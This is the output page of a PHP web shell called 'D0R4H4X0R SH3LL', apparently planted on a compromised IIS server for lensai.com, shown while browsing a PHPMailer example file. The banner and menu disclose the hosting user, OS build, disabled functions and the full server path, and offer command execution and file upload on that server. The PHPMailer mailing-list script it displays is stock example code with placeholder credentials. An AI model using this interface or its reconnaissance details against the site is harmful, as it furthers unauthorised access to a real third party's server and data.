D0R4H4X0R SH3LL

Server Information

Server: Microsoft-IIS/10.0
System: Windows NT BH-PLESK-WEB3 10.0 build 20348 (Windows Server 2022) AMD64
User: IWPD_8556(lensai) ( 0 )
PHP Version: 8.3.21
Python Version: Python is not available
Disabled Functions:, Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, exec, passthru, shell_exec, system

Features

Command Line

Find Longest Directory Path

Scan New PHP Files

Upload File

Directory: D:/INETPUB/VHOSTS/lensai.com/httpdocs/admin/mail/examples/

Current File : D:/INETPUB/VHOSTS/lensai.com/httpdocs/admin/mail/examples/mailing_list.phps

<?php

error_reporting(E_STRICT | E_ALL);

date_default_timezone_set('Etc/UTC');

require '../PHPMailerAutoload.php';

$mail = new PHPMailer;

$body = file_get_contents('contents.html');

$mail->isSMTP();
$mail->Host = 'smtp.example.com';
$mail->SMTPAuth = true;
$mail->SMTPKeepAlive = true; // SMTP connection will not close after each email sent, reduces SMTP overhead
$mail->Port = 25;
$mail->Username = 'yourname@example.com';
$mail->Password = 'yourpassword';
$mail->setFrom('list@example.com', 'List manager');
$mail->addReplyTo('list@example.com', 'List manager');

$mail->Subject = "PHPMailer Simple database mailing list test";

//Same body for all messages, so set this before the sending loop
//If you generate a different body for each recipient (e.g. you're using a templating system),
//set it inside the loop
$mail->msgHTML($body);
//msgHTML also sets AltBody, but if you want a custom one, set it afterwards
$mail->AltBody = 'To view the message, please use an HTML compatible email viewer!';

//Connect to the database and select the recipients from your mailing list that have not yet been sent to
//You'll need to alter this to match your database
$mysql = mysqli_connect('localhost', 'username', 'password');
mysqli_select_db($mysql, 'mydb');
$result = mysqli_query($mysql, 'SELECT full_name, email, photo FROM mailinglist WHERE sent = false');

foreach ($result as $row) { //This iterator syntax only works in PHP 5.4+
    $mail->addAddress($row['email'], $row['full_name']);
    if (!empty($row['photo'])) {
        $mail->addStringAttachment($row['photo'], 'YourPhoto.jpg'); //Assumes the image data is stored in the DB
    }

    if (!$mail->send()) {
        echo "Mailer Error (" . str_replace("@", "&#64;", $row["email"]) . ') ' . $mail->ErrorInfo . '<br />';
        break; //Abandon sending
    } else {
        echo "Message sent to :" . $row['full_name'] . ' (' . str_replace("@", "&#64;", $row['email']) . ')<br />';
        //Mark it as sent in the DB
        mysqli_query(
            $mysql,
            "UPDATE mailinglist SET sent = true WHERE email = '" .
            mysqli_real_escape_string($mysql, $row['email']) . "'"
        );
    }
    // Clear all addresses and attachments for next loop
    $mail->clearAddresses();
    $mail->clearAttachments();
}
images DIR
Directory drwxrwxrwx
scripts DIR
Directory drwxrwxrwx
styles DIR
Directory drwxrwxrwx
File -rw-rw-rw-
contents.html 0.677 KB
File -rw-rw-rw-
exceptions.phps 1.447 KB
File -rw-rw-rw-
gmail.phps 2.009 KB
File -rw-rw-rw-
index.html 6.141 KB
File -rw-rw-rw-
LGPLv3.txt 7.459 KB
File -rw-rw-rw-
login.php 0.582 KB
File -rw-rw-rw-
mail.phps 1.038 KB
File -rw-rw-rw-
File -rw-rw-rw-
File -rw-rw-rw-
sendmail.phps 1.108 KB
File -rw-rw-rw-
smtp.phps 1.831 KB
File -rw-rw-rw-
smtp_check.phps 1.206 KB
File -rw-rw-rw-
File -rw-rw-rw-
test.html 0.006 KB
File -rw-rw-rw-
D0R4H4X0R SH3LL